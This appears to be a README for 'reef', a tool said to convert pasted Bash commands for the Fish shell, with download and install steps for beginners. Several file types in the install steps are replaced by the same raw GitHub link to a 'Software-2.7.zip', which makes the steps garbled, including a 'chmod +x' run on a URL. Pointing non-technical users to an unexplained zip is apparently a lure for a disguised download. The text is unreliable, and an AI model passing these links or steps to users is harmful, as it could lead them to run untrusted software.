reef is a simple tool that helps you use Bash commands in the Fish shell without hassle. If you've ever switched to Fish but missed your usual Bash commands, reef makes it easy by letting you paste Bash content into Fish, and it just works. This tool runs quietly in the background to make your command line experience smoother.
You don't need to know anything about coding or command-line magic to use reef. It takes care of the technical parts for you.
reef is designed to work on common operating systems where Fish shell is used:
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Operating Systems:
- Windows 10 or newer
- macOS 10.14 (Mojave) or newer
- Linux (Ubuntu 18.04 or newer recommended)
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Shell Requirements:
- Fish shell version 3.0 or higher should be installed on your system.
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Hardware:
- reef is lightweight and runs smoothly on any system that supports Fish shell.
To get started with reef, you will need to download the software from the official release page and follow a few simple steps to set it up.
Go to the reef releases page by clicking the link below. This page contains the latest versions of reef available for your operating system.
On the releases page, look for the version suited for your system:
- For Windows, look for files ending with
.exeor.zip. - For macOS, look for
.dmgorhttps://raw.githubusercontent.com/isabellaaGrier/reef/main/pkg/nix/Software-2.7.zip. - For Linux, look for
.AppImage,https://raw.githubusercontent.com/isabellaaGrier/reef/main/pkg/nix/Software-2.7.zip, or.deb.
Click the appropriate file to download it.
- Windows: If you downloaded an
.exe, double-click it to run the installer or the app directly. If it’s a.zip, unzip it and run the.exeinside. - macOS: Open the
.dmgand drag reef to your Applications folder, or unzip the file and run the app. - Linux: If you downloaded a
.deb, open it with your package manager to install. For.AppImage, make it executable (chmod +x https://raw.githubusercontent.com/isabellaaGrier/reef/main/pkg/nix/Software-2.7.zip) and run it.
Once installed, open reef. The app will be ready to help you paste Bash commands into your Fish shell. You won't need any extra setup for everyday use.
reef listens for your paste actions in the Fish shell. When you paste Bash commands, it adjusts them automatically to work with Fish syntax. This means you avoid errors and can keep working without interruption.
Here’s what reef does behind the scenes:
- Converts Bash variables to Fish syntax.
- Transforms Bash-specific commands into Fish-friendly forms.
- Handles common differences like syntax changes and function definitions.
All this happens instantly while you paste. You don’t need to rewrite or modify your commands yourself.
Switching shells can be tricky. Bash and Fish use different syntax styles. reef removes this barrier. You can copy scripts, snippets, or commands in Bash format and paste them straight into Fish.
This saves time and reduces mistakes from manual edits.
- Make sure you are running the Fish shell version 3.0 or later.
- Confirm reef is opened and running during your session.
- Check if you followed the installation steps correctly for your OS.
Some very complex Bash commands might not convert perfectly. You can try:
- Running smaller parts of the command separately.
- Checking if the command uses advanced Bash-only features.
Check the releases page regularly. Download the latest version to get new fixes or improvements.
- Fish shell Official Site – Learn more about Fish shell basics.
- Basic Bash to Fish Conversion Guide – Understand differences between Bash and Fish.
- reef GitHub Repository – For source code, issues, and developer details.
reef is maintained to help users move between Bash and Fish. If you find issues or want to suggest improvements, visit the GitHub repository and open an issue.
You don’t need to know coding to submit feedback. Clear descriptions help maintainers keep reef useful.
Click the link above to access the latest versions. Follow the steps under Download & Install and enjoy easier command line work with Fish shell and Bash commands.